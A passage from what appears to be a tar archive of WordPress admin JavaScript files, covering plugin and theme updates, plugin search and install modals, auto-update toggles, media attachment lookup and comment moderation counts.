t=c(t),a=t.parents("tr");"update-selected"!==n||a.hasClass("update")&&!a.find("notice-error").length?"update-selected"===n&&a.hasClass("is-enqueued")||(a.addClass("is-enqueued"),g.updates.queue.push({action:s,data:{plugin:a.data("plugin"),slug:a.data("slug")}})):t.prop("checked",!1)}),f.on("wp-plugin-update-success wp-plugin-update-error wp-theme-update-success wp-theme-update-error",function(e,t){var a,s=c('[data-slug="'+t.slug+'"]'),e=("wp-"+t.update+"-update-success"===e.type?i++:(e=t.pluginName||s.find(".column-primary strong").text(),l++,d.push(e+": "+t.errorMessage)),s.find('input[name="checked[]"]:checked').prop("checked",!1),g.updates.adminNotice=g.template("wp-bulk-updates-admin-notice"),null),s=(i&&(e="plugin"===t.update?v(p("%s plugin successfully updated.","%s plugins successfully updated.",i),i):v(p("%s theme successfully updated.","%s themes successfully updated.",i),i)),null);l&&(s=v(p("%s update failed.","%s updates failed.",l),l)),g.updates.addAdminNotice({id:"bulk-action-notice",className:"bulk-action-notice",successMessage:e,errorMessage:s,errorMessages:d,type:t.update}),a=c("#bulk-action-notice").on("click","button",function(){c(this).toggleClass("bulk-action-errors-collapsed").attr("aria-expanded",!c(this).hasClass("bulk-action-errors-collapsed")),a.find(".bulk-action-errors").toggleClass("hidden")}),0<l&&!g.updates.queue.length&&c("html, body").animate({scrollTop:0})}),f.on("wp-updates-notice-added",function(){g.updates.adminNotice=g.template("wp-updates-admin-notice")}),g.updates.queueChecker()}),d.length&&d.attr("aria-describedby","live-search-desc"),0);g.updates.shouldSearch=function(e){var t=e>=g.updates.searchMinCharacters||s>g.updates.searchMinCharacters;return s=e,t},d.on("keyup input",_.debounce(function(e,t){var a=c(".plugin-install-search"),s=d.val().length,n={_ajax_nonce:g.updates.ajaxNonce,s:encodeURIComponent(e.target.value),tab:"search",type:c("#typeselector").val(),pagenow:pagenow},i=location.href.split("?")[0]+"?"+c.param(_.omit(n,["_ajax_nonce","pagenow"]));g.updates.shouldSearch(s)?(d.attr("autocomplete","off"),"keyup"===e.type&&27===e.which&&(e.target.value=""),g.updates.searchTerm===n.s&&"typechange"!==t||(l.empty(),g.updates.searchTerm=n.s,window.history&&window.history.replaceState&&window.history.replaceState(null,"",i),a.length||(a=c('<li class="plugin-install-search" />').append(c("<a />",{class:"current",href:i,text:h("Search Results")})),c(".wp-filter .filter-links .current").removeClass("current").parents(".filter-links").prepend(a),l.prev("p").remove(),c(".plugins-popular-tags-wrapper").remove()),void 0!==g.updates.searchRequest&&g.updates.searchRequest.abort(),c("body").addClass("loading-content"),g.updates.searchRequest=g.ajax.post("search-install-plugins",n).done(function(e){c("body").removeClass("loading-content"),l.append(e.items),delete g.updates.searchRequest,0===e.count?g.a11y.speak(h("You do not appear to have any plugins available at this time.")):g.a11y.speak(v(h("Number of plugins found: %d"),e.count))}))):d.attr("autocomplete","on")},1e3)),a.length&&a.attr("aria-describedby","live-search-desc"),a.on("keyup input",_.debounce(function(e){var s={_ajax_nonce:g.updates.ajaxNonce,s:encodeURIComponent(e.target.value),pagenow:pagenow,plugin_status:"all"},t=a.val().length;g.updates.shouldSearch(t)?(a.attr("autocomplete","off"),"keyup"===e.type&&27===e.which&&(e.target.value=""),g.updates.searchTerm!==s.s&&(g.updates.searchTerm=s.s,t=_.object(_.compact(_.map(location.search.slice(1).split("&"),function(e){if(e)return e.split("=")}))),s.plugin_status=t.plugin_status||"all",window.history&&window.history.replaceState&&window.history.replaceState(null,"",location.href.split("?")[0]+"?s="+s.s+"&plugin_status="+s.plugin_status),void 0!==g.updates.searchRequest&&g.updates.searchRequest.abort(),o.empty(),c("body").addClass("loading-content"),c(".subsubsub .current").removeClass("current"),g.updates.searchRequest=g.ajax.post("search-plugins",s).done(function(e){var t=c("<span />").addClass("subtitle").html(v(h("Search results for: %s"),"<strong>"+_.escape(decodeURIComponent(s.s))+"</strong>")),a=c(".wrap .subtitle");s.s.length?a.length?a.replaceWith(t):c(".wp-header-end").before(t):(a.remove(),c(".subsubsub ."+s.plugin_status+" a").addClass("current")),c("body").removeClass("loading-content"),o.append(e.items),delete g.updates.searchRequest,0===e.count?g.a11y.speak(h("No plugins found. Try a different search.")):g.a11y.speak(v(h("Number of plugins found: %d"),e.count))}))):a.attr("autocomplete","on")},500)),f.on("submit",".search-plugins",function(e){e.preventDefault(),c("input.wp-filter-search").trigger("input")}),f.on("click",".try-again",function(e){e.preventDefault(),d.trigger("input")}),c("#typeselector").on("change",function(){var e=c('input[name="s"]');e.val().length&&e.trigger("input","typechange")}),c("#plugin_update_from_iframe").on("click",function(e){var t=window.parent===window?null:window.parent;c.support.postMessage=!!window.postMessage,!1!==c.support.postMessage&&null!==t&&-1===window.parent.location.pathname.indexOf("update-core.php")&&(e.preventDefault(),e={action:"update-plugin",data:{plugin:c(this).data("plugin"),slug:c(this).data("slug")}},t.postMessage(JSON.stringify(e),window.location.origin))}),c(window).on("message",function(e){var t,e=e.originalEvent,a=document.location.protocol+"//"+document.location.host;if(e.origin===a){try{t=JSON.parse(e.data)}catch(e){return}if(t)if(void 0!==t.status&&void 0!==t.slug&&void 0!==t.text&&void 0!==t.ariaLabel&&(a=c(".plugin-card-"+t.slug).find('[data-slug="'+t.slug+'"]'),void 0!==t.removeClasses&&a.removeClass(t.removeClasses),void 0!==t.addClasses&&a.addClass(t.addClasses),""===t.ariaLabel?a.removeAttr("aria-label"):a.attr("aria-label",t.ariaLabel),"dependencies-check-success"===t.status&&a.attr("data-name",t.pluginName).attr("data-slug",t.slug).attr("data-plugin",t.plugin).attr("href",t.href),a.text(t.text)),void 0!==t.action)switch(t.action){case"decrementUpdateCount":g.updates.decrementCount(t.upgradeType);break;case"install-plugin":case"update-plugin":void 0!==t.data&&void 0!==t.data.slug&&(t.data=g.updates._addCallbacks(t.data,t.action),g.updates.queue.push(t),g.updates.queueChecker())}}}),c(window).on("beforeunload",g.updates.beforeunload),f.on("keydown",".column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update",function(e){32===e.which&&e.preventDefault()}),f.on("click keyup",".column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update",function(e){var l,d,u,o=c(this),r=o.attr("data-wp-action"),p=o.find(".label");if(("keyup"!==e.type||32===e.which)&&(u="themes"!==pagenow?o.closest(".column-auto-updates"):o.closest(".theme-autoupdate"),e.preventDefault(),"yes"!==o.attr("data-doing-ajax"))){switch(o.attr("data-doing-ajax","yes"),pagenow){case"plugins":case"plugins-network":d="plugin",l=o.closest("tr").attr("data-plugin");break;case"themes-network":d="theme",l=o.closest("tr").attr("data-slug");break;case"themes":d="theme",l=o.attr("data-slug")}u.find(".notice.notice-error").addClass("hidden"),"enable"===r?p.text(h("Enabling...")):p.text(h("Disabling...")),o.find(".dashicons-update").removeClass("hidden"),e={action:"toggle-auto-updates",_ajax_nonce:m.ajax_nonce,state:r,type:d,asset:l},c.post(window.ajaxurl,e).done(function(e){var t,a,s,n,i=o.attr("href");if(e.success){if("themes"!==pagenow){switch(n=c(".auto-update-enabled span"),t=c(".auto-update-disabled span"),a=parseInt(n.text().replace(/[^\d]+/g,""),10)||0,s=parseInt(t.text().replace(/[^\d]+/g,""),10)||0,r){case"enable":++a,--s;break;case"disable":--a,++s}a=Math.max(0,a),s=Math.max(0,s),n.text("("+a+")"),t.text("("+s+")")}"enable"===r?(o[0].hasAttribute("href")&&(i=i.replace("action=enable-auto-update","action=disable-auto-update"),o.attr("href",i)),o.attr("data-wp-action","disable"),p.text(h("Disable auto-updates")),u.find(".auto-update-time").removeClass("hidden"),g.a11y.speak(h("Auto-updates enabled"))):(o[0].hasAttribute("href")&&(i=i.replace("action=disable-auto-update","action=enable-auto-update"),o.attr("href",i)),o.attr("data-wp-action","enable"),p.text(h("Enable auto-updates")),u.find(".auto-update-time").addClass("hidden"),g.a11y.speak(h("Auto-updates disabled"))),f.trigger("wp-auto-update-setting-changed",{state:r,type:d,asset:l})}else n=e.data&&e.data.error?e.data.error:h("The request could not be completed."),u.find(".notice.notice-error").removeClass("hidden").find("p").text(n),g.a11y.speak(n,"assertive")}).fail(function(){u.find(".notice.notice-error").removeClass("hidden").find("p").text(h("The request could not be completed.")),g.a11y.speak(h("The request could not be completed."),"assertive")}).always(function(){o.removeAttr("data-doing-ajax").find(".dashicons-update").addClass("hidden")})}})})}(jQuery,window.wp,window._wpUpdatesSettings); media.min.js 0000644 00000004607 15222552267 0006762 0 ustar 00 /*! This file is auto-generated */ !function(t){window.findPosts={open:function(n,e){var i=t(".ui-find-overlay");return 0===i.length&&(t("body").append('<div class="ui-find-overlay"></div>'),findPosts.overlay()),i.show(),n&&e&&t("#affected").attr("name",n).val(e),t("#find-posts").show(),t("#find-posts-input").trigger("focus").on("keyup",function(n){27==n.which&&findPosts.close()}),findPosts.send(),!1},close:function(){t("#find-posts-response").empty(),t("#find-posts").hide(),t(".ui-find-overlay").hide()},overlay:function(){t(".ui-find-overlay").on("click",function(){findPosts.close()})},send:function(){var n={ps:t("#find-posts-input").val(),action:"find_posts",_ajax_nonce:t("#_ajax_nonce").val()},e=t(".find-box-search .spinner");e.addClass("is-active"),t.ajax(ajaxurl,{type:"POST",data:n,dataType:"json"}).always(function(){e.removeClass("is-active")}).done(function(n){n.success||t("#find-posts-response").text(wp.i18n.__("An error has occurred. Please reload the page and try again.")),t("#find-posts-response").html(n.data)}).fail(function(){t("#find-posts-response").text(wp.i18n.__("An error has occurred. Please reload the page and try again."))})}},t(function(){var o,n,e=t("#wp-media-grid"),i=new ClipboardJS(".copy-attachment-url.media-library"),s=null;e.length&&window.wp&&window.wp.media&&(n=_wpMediaGridSettings,n=window.wp.media({frame:"manage",container:e,library:n.queryVars}).open(),e.trigger("wp-media-grid-ready",n)),t("#find-posts-submit").on("click",function(n){t('#find-posts-response input[type="radio"]:checked').length||n.preventDefault()}),t("#find-posts .find-box-search :input").on("keypress",function(n){if(13==n.which)return findPosts.send(),!1}),t("#find-posts-search").on("click",findPosts.send),t("#find-posts-close").on("click",findPosts.close),t("#doaction").on("click",function(e){t('select[name="action"]').each(function(){var n=t(this).val();"attach"===n?(e.preventDefault(),findPosts.open()):"delete"!==n||showNotice.warn()||e.preventDefault()})}),t(".find-box-inside").on("click","tr",function(){t(this).find(".found-radio input").prop("checked",!0)}),i.on("success",function(n){var e=t(n.trigger),i=t(".success",e.closest(".copy-to-clipboard-container"));n.clearSelection(),s&&s.addClass("hidden"),clearTimeout(o),i.removeClass("hidden"),o=setTimeout(function(){i.addClass("hidden"),s=null},3e3),s=i,wp.a11y.speak(wp.i18n.__("The file URL has been copied to your clipboard"))})})}(jQuery); plugin-install.js 0000644 00000015656 15222552267 0010071 0 ustar 00 /** * @file Functionality for the plugin install screens. * * @output wp-admin/js/plugin-install.js */ /* global tb_click, tb_remove, tb_position */ jQuery( function( $ ) { var tbWindow, $iframeBody, $tabbables, $firstTabbable, $lastTabbable, $focusedBefore = $(), $uploadViewToggle = $( '.upload-view-toggle' ), $wrap = $ ( '.wrap' ), $body = $( document.body ); window.tb_position = function() { var width = $( window ).width(), H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ), W = ( 792 < width ) ? 772 : width - 20; tbWindow = $( '#TB_window' ); if ( tbWindow.length ) { tbWindow.width( W ).height( H ); $( '#TB_iframeContent' ).width( W ).height( H ); tbWindow.css({ 'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px' }); if ( typeof document.body.style.maxWidth !== 'undefined' ) { tbWindow.css({ 'top': '30px', 'margin-top': '0' }); } } return $( 'a.thickbox' ).each( function() { var href = $( this ).attr( 'href' ); if ( ! href ) { return; } href = href.replace( /&width=[0-9]+/g, '' ); href = href.replace( /&height=[0-9]+/g, '' ); $(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) ); }); }; $( window ).on( 'resize', function() { tb_position(); }); /* * Custom events: when a Thickbox iframe has loaded and when the Thickbox * modal gets removed from the DOM. */ $body .on( 'thickbox:iframe:loaded', tbWindow, function() { /* * Return if it's not the modal with the plugin details iframe. Other * thickbox instances might want to load an iframe with content from * an external domain. Avoid to access the iframe contents when we're * not sure the iframe loads from the same domain. */ if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) { return; } iframeLoaded(); }) .on( 'thickbox:removed', function() { // Set focus back to the element that opened the modal dialog. // Note: IE 8 would need this wrapped in a fake setTimeout `0`. $focusedBefore.trigger( 'focus' ); }); function iframeLoaded() { var $iframe = tbWindow.find( '#TB_iframeContent' ); // Get the iframe body. $iframeBody = $iframe.contents().find( 'body' ); // Get the tabbable elements and handle the keydown event on first load. handleTabbables(); // Set initial focus on the "Close" button. $firstTabbable.trigger( 'focus' ); /* * When the "Install" button is disabled (e.g. the Plugin is already installed) * then we can't predict where the last focusable element is. We need to get * the tabbable elements and handle the keydown event again and again, * each time the active tab panel changes. */ $( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() { handleTabbables(); }); // Close the modal when pressing Escape. $iframeBody.on( 'keydown', function( event ) { if ( 27 !== event.which ) { return; } tb_remove(); }); } /* * Get the tabbable elements and detach/attach the keydown event. * Called after the iframe has fully loaded so we have all the elements we need. * Called again each time a Tab gets clicked. * @todo Consider to implement a WordPress general utility for this and don't use jQuery UI. */ function handleTabbables() { var $firstAndLast; // Get all the tabbable elements. $tabbables = $( ':tabbable', $iframeBody ); // Our first tabbable element is always the "Close" button. $firstTabbable = tbWindow.find( '#TB_closeWindowButton' ); // Get the last tabbable element. $lastTabbable = $tabbables.last(); // Make a jQuery collection. $firstAndLast = $firstTabbable.add( $lastTabbable ); // Detach any previously attached keydown event. $firstAndLast.off( 'keydown.wp-plugin-details' ); // Attach again the keydown event on the first and last focusable elements. $firstAndLast.on( 'keydown.wp-plugin-details', function( event ) { constrainTabbing( event ); }); } // Constrain tabbing within the plugin modal dialog. function constrainTabbing( event ) { if ( 9 !== event.which ) { return; } if ( $lastTabbable[0] === event.target && ! event.shiftKey ) { event.preventDefault(); $firstTabbable.trigger( 'focus' ); } else if ( $firstTabbable[0] === event.target && event.shiftKey ) { event.preventDefault(); $lastTabbable.trigger( 'focus' ); } } /* * Open the Plugin details modal. The event is delegated to get also the links * in the plugins search tab, after the Ajax search rebuilds the HTML. It's * delegated on the closest ancestor and not on the body to avoid conflicts * with other handlers, see Trac ticket #43082. */ $( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) { // The `data-title` attribute is used only in the Plugin screens. var title = $( this ).data( 'title' ) ? wp.i18n.sprintf( // translators: %s: Plugin name. wp.i18n.__( 'Plugin: %s' ), $( this ).data( 'title' ) ) : wp.i18n.__( 'Plugin details' ); e.preventDefault(); e.stopPropagation(); // Store the element that has focus before opening the modal dialog, i.e. the control which opens it. $focusedBefore = $( this ); tb_click.call(this); // Set ARIA role, ARIA label, and add a CSS class. tbWindow .attr({ 'role': 'dialog', 'aria-label': wp.i18n.__( 'Plugin details' ) }) .addClass( 'plugin-details-modal' ); // Set title attribute on the iframe. tbWindow.find( '#TB_iframeContent' ).attr( 'title', title ); }); /* Plugin install related JS */ $( '#plugin-information-tabs a' ).on( 'click', function( event ) { var tab = $( this ).attr( 'name' ); event.preventDefault(); // Flip the tab. $( '#plugin-information-tabs a.current' ).removeClass( 'current' ); $( this ).addClass( 'current' ); // Only show the fyi box in the description section, on smaller screen, // where it's otherwise always displayed at the top. if ( 'description' !== tab && $( window ).width() < 772 ) { $( '#plugin-information-content' ).find( '.fyi' ).hide(); } else { $( '#plugin-information-content' ).find( '.fyi' ).show(); } // Flip the content. $( '#section-holder div.section' ).hide(); // Hide 'em all. $( '#section-' + tab ).show(); }); /* * When a user presses the "Upload Plugin" button, show the upload form in place * rather than sending them to the devoted upload plugin page. * The `?tab=upload` page still exists for no-js support and for plugins that * might access it directly. When we're in this page, let the link behave * like a link. Otherwise we're in the normal plugin installer pages and the * link should behave like a toggle button. */ if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) { $uploadViewToggle .attr({ role: 'button', 'aria-expanded': 'false' }) .on( 'click', function( event ) { event.preventDefault(); $body.toggleClass( 'show-upload-view' ); $uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) ); }); } }); comment.min.js 0000644 00000002443 15222552267 0007341 0 ustar 00 /*! This file is auto-generated */ jQuery(function(m){postboxes.add_postbox_toggles("comment");var d=m("#timestampdiv"),o=m("#timestamp"),a=o.html(),v=d.find(".timestamp-wrap"),c=d.siblings("a.edit-timestamp");c.on("click",function(e){d.is(":hidden")&&(d.slideDown("fast",function(){m("input, select",v).first().trigger("focus")}),m(this).hide()),e.preventDefault()}),d.find(".cancel-timestamp").on("click",function(e){c.show().trigger("focus"),d.slideUp("fast"),m("#mm").val(m("#hidden_mm").val()),m("#jj").val(m("#hidden_jj").val()),m("#aa").val(m("#hidden_aa").val()),m("#hh").val(m("#hidden_hh").val()),m("#mn").val(m("#hidden_mn").val()),o.html(a),e.preventDefault()}),d.find(".save-timestamp").on("click",function(e){var a=m("#aa").val(),t=m("#mm").val(),i=m("#jj").val(),s=m("#hh").val(),l=m("#mn").val(),n=new Date(a,t-1,i,s,l);e.preventDefault(),n.getFullYear()!=a||1+n.getMonth()!=t||n.getDate()!=i||n.getMinutes()!=l?v.addClass("form-invalid"):(v.removeClass("form-invalid"),o.html(wp.i18n.__("Submitted on:")+" <b>"+wp.i18n.__("%1$s %2$s, %3$s at %4$s:%5$s").replace("%1$s",m('option[value="'+t+'"]',"#mm").attr("data-text")).replace("%2$s",parseInt(i,10)).replace("%3$s",a).replace("%4$s",("00"+s).slice(-2)).replace("%5$s",("00"+l).slice(-2))+"</b> "),c.show().trigger("focus"),d.slideUp("fast"))})}); edit-comments.js 0000644 00000112373 15222552267 0007671 0 ustar 00 /** * Handles updating and editing comments. * * @file This file contains functionality for the admin comments page. * @since 2.1.0 * @output wp-admin/js/edit-comments.js */ /* global adminCommentsSettings, thousandsSeparator, list_args, QTags, ajaxurl, wpAjax */ /* global commentReply, theExtraList, theList, setCommentsList */ (function($) { var getCount, updateCount, updateCountText, updatePending, updateApproved, updateHtmlTitle, updateDashboardText, updateInModerationText, adminTitle = document.title, isDashboard = $('#dashboard_right_now').length, titleDiv, titleRegEx, __ = wp.i18n.__, _x = wp.i18n._x; /** * Extracts a number from the content of a jQuery element. * * @since 2.9.0 * @access private * * @param {jQuery} el jQuery element. * * @return {number} The number found in the given element. */ getCount = function(el) { var n = parseInt( el.html().replace(/[^0-9]+/g, ''), 10 ); if ( isNaN(n) ) { return 0; } return n; }; /** * Updates an html element with a localized number string. * * @since 2.9.0 * @access private * * @param {jQuery} el The jQuery element to update. * @param {number} n Number to be put in the element. * * @return {void} */ updateCount = function(el, n) { var n1 = ''; if ( isNaN(n) ) { return; } n = n < 1 ? '0' : n.toString(); if ( n.length > 3 ) { while ( n.length > 3 ) { n1 = thousandsSeparator + n.substr(n.length - 3) + n1; n = n.substr(0, n.length - 3); } n = n + n1; } el.html(n); }; /** * Updates the number of approved comments on a specific post and the filter bar. * * @since 4.4.0 * @access private * * @param {number} diff The amount to lower or raise the approved count with. * @param {number} commentPostId The ID of the post to be updated. * * @return {void} */ updateApproved = function( diff, commentPostId ) { var postSelector = '.post-com-count-' + commentPostId, noClass = 'comment-count-no-comments', approvedClass = 'comment-count-approved', approved, noComments; updateCountText( 'span.approved-count', diff ); if ( ! commentPostId ) { return; } // Cache selectors to not get duplicates. approved = $( 'span.' + approvedClass, postSelector ); noComments = $( 'span.' + noClass, postSelector ); approved.each(function() { var a = $(this), n = getCount(a) + diff; if ( n < 1 ) n = 0; if ( 0 === n ) { a.removeClass( approvedClass ).addClass( noClass ); } else { a.addClass( approvedClass ).removeClass( noClass ); } updateCount( a, n ); }); noComments.each(function() { var a = $(this); if ( diff > 0 ) { a.removeClass( noClass ).addClass( approvedClass ); } else { a.addClass( noClass ).removeClass( approvedClass ); } updateCount( a, diff ); }); }; /** * Updates a number count in all matched HTML elements * * @since 4.4.0 * @access private * * @param {string} selector The jQuery selector for elements to update a count * for. * @param {number} diff The amount to lower or raise the count with. * * @return {void} */ updateCountText = function( selector, diff ) { $( selector ).each(function() { var a = $(this), n = getCount(a) + diff; if ( n < 1 ) { n = 0; } updateCount( a, n ); }); }; /** * Updates a text about comment count on the dashboard. * * @since 4.4.0 * @access private * * @param {Object} response Ajax response from the server that includes a * translated "comment count" message. * * @return {void} */ updateDashboardText = function( response ) { if ( ! isDashboard || ! response || ! response.i18n_comments_text ) { return; } $( '.comment-count a', '#dashboard_right_now' ).text( response.i18n_comments_text ); }; /** * Updates the "comments in moderation" text across the UI. * * @since 5.2.0 * * @param {Object} response Ajax response from the server that includes a * translated "comments in moderation" message. * * @return {void} */ updateInModerationText = function( response ) { if ( ! response || ! response.i18n_moderation_text ) { return; } // Update the "comment in moderation" text across the UI. $( '.comments-in-moderation-text' ).text( response.i18n_moderation_text ); // Hide the "comment in moderation" text in the Dashboard "At a Glance" widget. if ( isDashboard && response.in_moderation ) { $( '.comment-mod-count', '#dashboard_right_now' ) [ response.in_moderation > 0 ? 'removeClass' : 'addClass' ]( 'hidden' ); } }; /** * Updates the title of the document with the number comments to be approved. * * @since 4.4.0 * @access private * * @param {number} diff The amount to lower or raise the number of to be * approved comments with. * * @return {void} */ updateHtmlTitle = function( diff ) { var newTitle, regExMatch, titleCount, commentFrag; /* translators: %s: Comments count. */ titleRegEx = titleRegEx || new RegExp( __( 'Comments (%s)' ).replace( '%s', '\\([0-9' + thousandsSeparator + ']+\\)' ) + '?' ); // Count funcs operate on a $'d element. titleDiv = titleDiv || $( '<div />' ); newTitle = adminTitle; commentFrag = titleRegEx.exec( document.title ); if ( commentFrag ) { commentFrag = commentFrag[0]; titleDiv.html( commentFrag ); titleCount = getCount( titleDiv ) + diff; } else { titleDiv.html( 0 ); titleCount = diff; } if ( titleCount >= 1 ) { updateCount( titleDiv, titleCount ); regExMatch = titleRegEx.exec( document.title ); if ( regExMatch ) { /* translators: %s: Comments count. */ newTitle = document.title.replace( regExMatch[0], __( 'Comments (%s)' ).replace( '%s', titleDiv.text() ) + ' ' ); } } else { regExMatch = titleRegEx.exec( newTitle ); if ( regExMatch ) { newTitle = newTitle.replace( regExMatch[0], __( 'Comments' ) ); } } document.title = newTitle; }; /** * Updates the number of pending comments on a specific post and the filter bar. * * @since 3.2.0 * @access private * * @param {number} diff The amount to lower or raise the pending count with. * @param {number} commentPostId The ID of the post to be updated. * * @return {void} */ updatePending = function( diff, commentPostId ) { var postSelector = '.post-com-count-' + commentPostId, noClass = 'comment-count-no-pending', noParentClass = 'post-com-count-no-pending', pendingClass = 'comment-count-pending', pending, noPending; if ( ! isDashboard ) { updateHtmlTitle( diff ); } $( 'span.pending-count' ).each(function() { var a = $(this), n = getCount(a) + diff; if ( n < 1 ) n = 0; a.closest('.awaiting-mod')[ 0 === n ? 'addClass' : 'removeClass' ]('count-0'); updateCount( a, n ); }); if ( ! commentPostId ) { return; } // Cache selectors to not get dupes. pending = $( 'span.' + pendingClass, postSelector ); noPending = $( 'span.' + noClass, postSelector ); pending.each(function() { var a = $(this), n = getCount(a) + diff; if ( n < 1 ) n = 0; if ( 0 === n ) { a.parent().addClass( noParentClass ); a.removeClass( pendingClass ).addClass( noClass ); } else { a.parent().removeClass( noParentClass ); a.addClass( pendingClass ).removeClass( noClass ); } updateCount( a, n ); }); noPending.each(function() { var a = $(this); if ( diff > 0 ) { a.parent().removeClass( noParentClass ); a.removeClass( noClass ).addClass( pendingClass ); } else { a.parent().addClass( noParentClass ); a.addClass( noClass ).removeClass( pendingClass ); } updateCount( a, diff ); }); }; /** * Initializes the comments list. * * @since 4.4.0 * * @global * * @return {void} */ window.setCommentsList = function() { var totalInput, perPageInput, pageInput, dimAfter, delBefore, updateTotalCount, delAfter, refillTheExtraList, diff, lastConfidentTime = 0; totalInput = $('input[name="_total"]', '#comments-form'); perPageInput = $('input[name="_per_page"]', '#comments-form'); pageInput = $('input[name="_page"]', '#comments-form'); /** * Updates the total with the latest count. * * The time parameter makes sure that we only update the total if this value is * a newer value than we previously received. * * The time and setConfidentTime parameters make sure that we only update the * total when necessary. So a value that has been generated earlier will not * update the total. * * @since 2.8.0 * @access private * * @param {number} total Total number of comments. * @param {number} time Unix timestamp of response. * @param {boolean} setConfidentTime Whether to update the last confident time * with the given time. * * @return {void} */ updateTotalCount = function( total, time, setConfidentTime ) { if ( time < lastConfidentTime ) return; if ( setConfidentTime ) lastConfidentTime = time; totalInput.val( total.toString() ); }; /** * Changes DOM that need to be changed after a list item has been dimmed. * * @since 2.5.0 * @access private * * @param {Object} r Ajax response object. * @param {Object} settings Settings for the wpList object. * * @return {void} */ dimAfter = function( r, settings ) { var editRow, replyID, replyButton, response, c = $( '#' + settings.element ); if ( true !== settings.parsed ) { response = settings.parsed.responses[0]; } editRow = $('#replyrow'); replyID = $('#comment_ID', editRow).val(); replyButton = $('#replybtn', editRow); if ( c.is('.unapproved') ) { if ( settings.data.id == replyID ) replyButton.text( __( 'Approve and Reply' ) ); c.find( '.row-actions span.view' ).addClass( 'hidden' ).end() .find( 'div.comment_status' ).html( '0' ); } else { if ( settings.data.id == replyID ) /* translators: Comment reply button text. */ replyButton.text( _x( 'Reply', 'verb' ) ); c.find( '.row-actions span.view' ).removeClass( 'hidden' ).end() .find( 'div.comment_status' ).html( '1' ); } diff = $('#' + settings.element).is('.' + settings.dimClass) ? 1 : -1; if ( response ) { updateDashboardText( response.supplemental ); updateInModerationText( response.supplemental ); updatePending( diff, response.supplemental.postId ); updateApproved( -1 * diff, response.supplemental.postId ); } else { updatePending( diff ); updateApproved( -1 * diff ); } }; /** * Handles marking a comment as spam or trashing the comment. * * Is executed in the list delBefore hook. * * @since 2.8.0 * @access private * * @param {Object} settings Settings for the wpList object. * @param {HTMLElement} list Comments table element. * * @return {Object} The settings object. */ delBefore = function( settings, list ) { var note, id, el, n, h, a, author, action = false, wpListsData = $( settings.target ).attr( 'data-wp-lists' ); settings.data._total = totalInput.val() || 0; settings.data._per_page = perPageInput.val() || 0; settings.data._page = pageInput.val() || 0; settings.data._url = document.location.href; settings.data.comment_status = $('input[name="comment_status"]', '#comments-form').val(); if ( wpListsData.indexOf(':trash=1') != -1 ) action = 'trash'; else if ( wpListsData.indexOf(':spam=1') != -1 ) action = 'spam'; if ( action ) { id = wpListsData.replace(/.*?comment-([0-9]+).*/, '$1'); el = $('#comment-' + id); note = $('#' + action + '-undo-holder').html(); el.find('.check-column :checkbox').prop('checked', false); // Uncheck the row so as not to be affected by Bulk Edits. if ( el.siblings('#replyrow').length && commentReply.cid == id ) commentReply.close(); if ( el.is('tr') ) { n = el.children(':visible').length; author = $('.author strong', el).text(); h = $('<tr id="undo-' + id + '" class="undo un' + action + '" style="display:none;"><td colspan="' + n + '">' + note + '</td></tr>'); } else { author = $('.comment-author', el).text(); h = $('<div id="undo-' + id + '" style="display:none;" class="undo un' + action + '">' + note + '</div>'); } el.before(h); $('strong', '#undo-' + id).text(author); a = $('.undo a', '#undo-' + id); a.attr('href', 'comment.php?action=un' + action + 'comment&c=' + id + '&_wpnonce=' + settings.data._ajax_nonce); a.attr('data-wp-lists', 'delete:the-comment-list:comment-' + id + '::un' + action + '=1'); a.attr('class', 'vim-z vim-destructive aria-button-if-js'); $('.avatar', el).first().clone().prependTo('#undo-' + id + ' .' + action + '-undo-inside'); a.on( 'click', function( e ){ e.preventDefault(); e.stopPropagation(); // Ticket #35904. list.wpList.del(this); $('#undo-' + id).css( {backgroundColor:'#ceb'} ).fadeOut(350, function(){ $(this).remove(); $('#comment-' + id).css('backgroundColor', '').fadeIn(300, function(){ $(this).show(); }); }); }); } return settings; }; /** * Handles actions that need to be done after marking as spam or thrashing a * comment. * * The ajax requests return the unix time stamp a comment was marked as spam or * trashed. We use this to have a correct total amount of comments. * * @since 2.5.0 * @access private * * @param {Object} r Ajax response object. * @param {Object} settings Settings for the wpList object. * * @return {void} */ delAfter = function( r, settings ) { var total_items_i18n, total, animated, animatedCallback, response = true === settings.parsed ? {} : settings.parsed.responses[0], commentStatus = true === settings.parsed ? '' : response.supplemental.status, commentPostId = true === settings.parsed ? '' : response.supplemental.postId, newTotal = true === settings.parsed ? '' : response.supplemental, targetParent = $( settings.target ).parent(), commentRow = $('#' + settings.element), spamDiff, trashDiff, pendingDiff, approvedDiff, /* * As `wpList` toggles only the `unapproved` class, the approved comment * rows can have both the `approved` and `unapproved` classes. */ approved = commentRow.hasClass( 'approved' ) && ! commentRow.hasClass( 'unapproved' ), unapproved = commentRow.hasClass( 'unapproved' ), spammed = commentRow.hasClass( 'spam' ), trashed = commentRow.hasClass( 'trash' ), undoing = false; // Ticket #35904. updateDashboardText( newTotal ); updateInModerationText( newTotal ); /* * The order of these checks is important. * .unspam can also have .approve or .unapprove. * .untrash can also have .approve or .unapprove. */ if ( targetParent.is( 'span.undo' ) ) { // The comment was spammed. if ( targetParent.hasClass( 'unspam' ) ) { spamDiff = -1; if ( 'trash' === commentStatus ) { trashDiff = 1; } else if ( '1' === commentStatus ) { approvedDiff = 1; } else if ( '0' === commentStatus ) { pendingDiff = 1; } // The comment was trashed. } else if ( targetParent.hasClass( 'untrash' ) ) { trashDiff = -1; if ( 'spam' === commentStatus ) { spamDiff = 1; } else if ( '1' === commentStatus ) { approvedDiff = 1; } else if ( '0' === commentStatus ) { pendingDiff = 1; } } undoing = true; // User clicked "Spam". } else if ( targetParent.is( 'span.spam' ) ) { // The comment is currently approved. if ( approved ) { approvedDiff = -1; // The comment is currently pending. } else if ( unapproved ) { pendingDiff = -1; // The comment was in the Trash. } else if ( trashed ) { trashDiff = -1; } // You can't spam an item on the Spam screen. spamDiff = 1; // User clicked "Unspam". } else if ( targetParent.is( 'span.unspam' ) ) { if ( approved 